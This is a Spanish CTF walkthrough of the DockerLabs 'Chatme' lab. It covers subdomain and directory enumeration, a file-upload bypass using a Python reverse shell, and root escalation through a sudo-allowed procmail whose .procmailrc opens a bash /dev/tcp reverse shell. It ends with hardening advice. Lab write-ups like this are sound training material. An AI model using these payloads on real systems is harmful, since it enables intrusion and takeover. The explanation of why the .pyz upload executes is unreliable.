Ir al contenido

ChatMe

Este documento presenta la resolución completa de la máquina Chatme, diseñada por Pylon & Zunderrub para DockerLabs. La máquina simula una aplicación de chat vulnerable que combina múltiples fallos de seguridad:

  1. Enumeración de subdominios: Descubrimiento de hosts virtuales ocultos.
  2. Bypass de filtros de subida: Explotación de vulnerabilidad en upload de archivos.
  3. Ejecución de comandos: Subida y ejecución de reverse shell.
  4. Escalada de privilegios: Abuso de binario procmail con permisos sudo.

Metodología empleada:

  • Reconocimiento: Identificación de servicios y enumeración de subdominios.
  • Explotación: Bypass de filtros y subida de reverse shell.
  • Escalada: Abuso de binario procmail para obtener root.

AtributoValor
NombreChatme
AutorPylon & Zunderrub
DificultadMedio
Fecha17/11/2025
PlataformaDockerLabs

Descomprimir y desplegar la máquina:

Ventana de terminal
unzip Chatme.zip
sudo bash auto_deploy.sh Chatme.tar

El script devuelve la IP interna del contenedor:

IP asignada


Identificamos servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oN allPorts.nmap

Resultados:

  • 80/tcp — HTTP

Puertos abiertos

Accedemos al puerto 80 y encontramos una aplicación de chat básica:

Ventana de terminal
curl -s http://172.17.0.2/

No se observa funcionalidad interesante en la página principal, pero se identifica el dominio chatme.dl en el código fuente.

Agregamos el dominio al archivo /etc/hosts:

Ventana de terminal
echo "172.17.0.2 chatme.dl" | sudo tee -a /etc/hosts

Al acceder nuevamente no se observan cambios significativos.

Realizamos búsqueda de virtual hosts:

Ventana de terminal
gobuster vhost -u http://chatme.dl/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -r

gobuster result

Subdominio descubierto: chat.chatme.dl

Agregamos el nuevo subdominio:

Ventana de terminal
echo "172.17.0.2 chat.chatme.dl" | sudo tee -a /etc/hosts

Accedemos a http://chat.chatme.dl y encontramos:

  • Login en login.php (no requiere contraseña, solo usuario)
  • Panel de chat funcional

1.7 Enumeración de directorios en el subdominio

Sección titulada «1.7 Enumeración de directorios en el subdominio»

Realizamos escaneo específico:

Ventana de terminal
feroxbuster -u http://chat.chatme.dl \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,html,js,txt \
-t 100 \
-C 404

ferox result

Recursos importantes:

  • /uploads - Directorio de archivos subidos
  • /index2 - Plataforma de chat tipo WhatsApp

Accedemos a /index2:

show chat

La aplicación permite enviar mensajes y adjuntar archivos.


2.1 Identificación de vulnerabilidad de upload

Sección titulada «2.1 Identificación de vulnerabilidad de upload»

Al intentar subir archivos, recibimos error:

show error

Restricciones identificadas:

  • Solo archivos de imagen (jpg, png, gif, etc.)
  • Extensiones forzadas a tipo imagen

Investigar la aplicación revela que tiene similitudes con WhatsApp Web antiguo, el cual era vulnerable a upload de archivos .pyz (archivos Python comprimidos).

Creamos un archivo shell.pyz:

import os
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 443))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

Activamos netcat en el puerto 443:

Ventana de terminal
nc -nlvp 443

Subimos el archivo shell.pyz a través de la aplicación de chat.

Recibimos conexión reverse shell:

reverseshell


Verificamos permisos sudo:

Ventana de terminal
sudo -l

sudo -l result

Permiso encontrado:

Ventana de terminal
User system may run the following commands on chatme:
(root) NOPASSWD: /usr/bin/procmail

procmail es un procesador de correo que puede ejecutar comandos a través de archivos .procmailrc.

Creamos un archivo malicioso:

Ventana de terminal
cat > .procmailrc << 'EOF'
:0
| /bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"
EOF

Activamos nuevo listener en puerto 1337:

Ventana de terminal
nc -nlvp 1337

Ejecutamos procmail con el archivo malicioso:

Ventana de terminal
echo '' | sudo -u root /usr/bin/procmail -m .procmailrc

Recibimos shell como root:

root reverseshell


Paso 4 — Fallos de seguridad identificados

Sección titulada «Paso 4 — Fallos de seguridad identificados»
  1. Filtros insuficientes en upload: Permite bypass mediante extensión .pyz.
  2. Permisos sudo peligrosos: Procmail configurado sin restricciones.
  3. Falta de sanitización de entrada: No se valida contenido de archivos subidos.
  4. Configuración insegura de procmail: Permite ejecución de comandos arbitrarios.
  1. Validación estricta de uploads:

    • Verificar tipo MIME real, no solo extensión
    • Restringir tipos de archivos permitidos
    • Escanear archivos subidos en busca de código malicioso
  2. Configuración segura de sudo:

    Ventana de terminal
    # En lugar de:
    system ALL=(root) NOPASSWD: /usr/bin/procmail
    # Usar:
    system ALL=(root) NOPASSWD: /usr/bin/procmail -m /path/to/secure/config
  3. Hardening de procmail:

    • Establecer umask restrictivo
    • Configurar directorios seguros
    • Deshabilitar ejecución de comandos externos